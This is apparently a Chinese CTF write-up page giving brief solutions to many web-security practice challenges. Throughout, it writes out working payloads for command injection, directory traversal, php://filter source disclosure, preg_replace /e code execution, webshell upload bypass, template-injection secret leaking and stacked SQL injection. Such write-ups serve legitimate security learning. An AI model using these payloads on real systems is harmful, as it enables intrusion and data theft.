赞
踩
目录
不能输入整数,反序列化
把类属性个数改为2即可
Robots题目,构造payload后面加一个robot.txt
点击报表中心
4
用burp抓包,爆破
发现2333,构造payload
对admin两次url编码
空白
删除disabled
Bp爆破,用户名admin,密码123456
使a=0且a成立,==弱类型比较,当转换结果相等就相等,所以可以给a任意输字母加数字或者纯字母组合,要使b不为数字字符串,并且使b>1234,可以b=1235a
Bp抓包,修改请求头,改为index.php放行
直接用蚁剑连
得到flag
输入127.0.0.1;find / -name flag.txt
输入cat /home/flag.txt
查看源码,,构造payload,
主要看最后这段,判断的三个条件要同时满足:1.file非空 2.是字符串 3.满足emmm:checkFile这个函数
返回去看这个函数,第一次返回true,第一个if是满足字符串,第二个if是判断$page是否存在于whitelist这个白名单中,如果是则返回true,根据这个构造第一个payload,?file=source.php或者?file=hint.php,结果显示说明不在第一次返回true这里
查看第二次返回true
这个函数的意思就是取$page为“?”问号前面的字符串,然后继续判断是否存在于白名单中,要绕过这个检查,就要如下构造payload ?file=source.php? ,又根据上面提示flag在ffffllllaaaagggg这个文件中,所以?file=source.php?../../../../../ffffllllaaaagggg (“../”是为了查找上一层目录,ffffllllaaaagggg是加了四倍,四个../就是向上查了四层,ffffllllaaaagggg是加了四倍,所以四个以上的“../”就行)
得到flag。
第二个返回true就成功了,实际上还有一次
跟上面一样,就是加了一个url解码,会对你输进去的进行一次解码,由于传参url自带一次解码,所以要进行两次url加密,这里对“?”问号url加密两次构造payload,?file=source.php%25%33%66../../../../../ffffllllaaaagggg得到flag与上次一样,所以两种payload都可以得到结果(实际上是三种,仅对?一次url加密也可以,因为传参url自带一次解码,实际上后端得到的仍然是第二次返回true时的结果)
这么长一串这个是个16进制的密文,那个函数里面把这些赋值给了tab这个变量,先对这些解码,直接百度16进制解码在线工具解码,这个就是tab的值
那个split函数没有加长度就是全部,所以这些全部赋值给tab,tab2就是那个pass里面的,所以i=0,j=11,k=11+0+0,n=18,那个k=j+(l)+(n=0),括号里不是1,是l,然后循环
简单说就是tab2把那些值都ascii码转化为字母,下面那个循环也是一样,最后返回p,实际上最后返回的值都是但是会发现tab还没有用,把tab的值用ascii转化为文本
看源码这部分,直接传参得到flag
观察url发现应该是个文件包含漏洞,利用PHP伪协议,用php://filter构造payload,
?file=php://filter/read=convert.base64-encode/resource=flag.php
用base64解密得到flag
命令注入,输入127.0.0.1;ls
发现可以成功,直接用cd翻目录 127.0.0.1;cd ../../../;ls
发现flag,用 127.0.0.1;cat /flag 找到flag
查看源码,有个文件,访问
提示不是图示网站访问,bp抓包修改请求头
继续修改UA,
提示只能本地读取,继续改xff 127.0.0.1
flag{2168b91a-8153-48a9-a577-66bd87dc402e}
源码里面有一段,访问,
点击后显示没有,在刚才那张里面,
Bp抓包后发现
访问得到
访问后的画面如图,猜测应该是个文件包含漏洞
构造payload
得到一串加密字符,放到base64解密后得到
打开设备维护中心
看到一个,初步猜测文件包含漏洞构造payload ?page=php://filter/read=convert.base64-encode/resource=index.php
解密得到源码
提示需要抓包改ip
利用preg_replace函数漏洞构造payload
/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123直接寻找flag
再用index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
得到flag
构造payload传入ip,发现可以成功
666,应该是存在过滤,想办法绕过
绕过空格后发现flag也被过滤
先查看一下index.php这个文件
发现好多符号,空格,flag,bash都被过滤,搜索一下好多中方法可以绕过过滤,这里来一个变量拼接成功绕过
查看源码
如图一串一句话木马,试试直接用
写一个一句话木马改为jpg传上去
Bp抓包改格式,加上这个php脚本绕过PHP检查
接下来用蚁剑链接,注意连接是url为原url后加上/upload/.phtml(一般都是这样)
上传php后发现存在过滤, 改为phtml成功
看源码里面,访问
发现num不能传入字母,想办法绕过
构造如下payload? num=var_dump(scandir(chr(47)))
进行读取目录
再构造
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
相当于? num=system(cat /f1agg)
根据提示猜测应该有备份,也可以用御剑扫描出来,url后面加上index.php.bak,下载来一个文件
根据源码,传入参数后显示只能为数字,所以进行一个绕过,仔细观察发现为==弱等于,则只要转换后结果相同则相同,直接构造如下payload得到flag
查看源码,里面有一段提示了密码
先抓包,改user为1,再用post传参password弱等于又不能为数字,那加个字母404a
显示,用科学计数法传money,得到flag
尝试先传入参数/file?filename=/fllllllllllllag&filehash={{1}},得到回显
提示传参格式,这道题要先获取cookie,再能继续按规定传参,既然msg=后面有注入点,我们注入error?msg={{handler.settings}}
成功获取cookie,接下来传入参数,根据hints.txt里面的提示进行MD5加密
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
file?filename=/fllllllllllllag&filehash=95bdae40f2e0720c502f9792a07f28e6
研究了半天第一个if是没有flag就会输出$giveme,第二个if是flag不能===flag
查到是变量覆盖漏洞,经过实验发现get传进去的值会改变变量名,post传进去会改变变量内容,直接构造?1=flag&flag=1得到flag
实际使在flag不能===flag的情况下,还使flag为原值,借用新变量1当跳板
提交1‘发现报错,存在注入点
发现只有2行,
发现有部分被过滤了,使用堆叠注入
查到数据库名,继续查表
查看第一个表的字段1'; show columns from `1919810931114514`; #
(表名为数字要用····` `·包起来)
有个字段名为flag所以总结一下
利用rename将words表的给改个名字,名字随意,讲1919810931114514表的名字改成words,应为会一次回显两个字段的信息,也就是id和data,那么我们就利用alter来修改新的words表,最后在利用1’ or 1=1#来回显全部内容得到到结果 。
因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)
构造语句 0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#
直接注入不能成功,使用堆叠注入1;show databases;#
注入1;show tables;#
后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)
注入1;set sql_mode=PIPES_AS_CONCAT;select 1
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。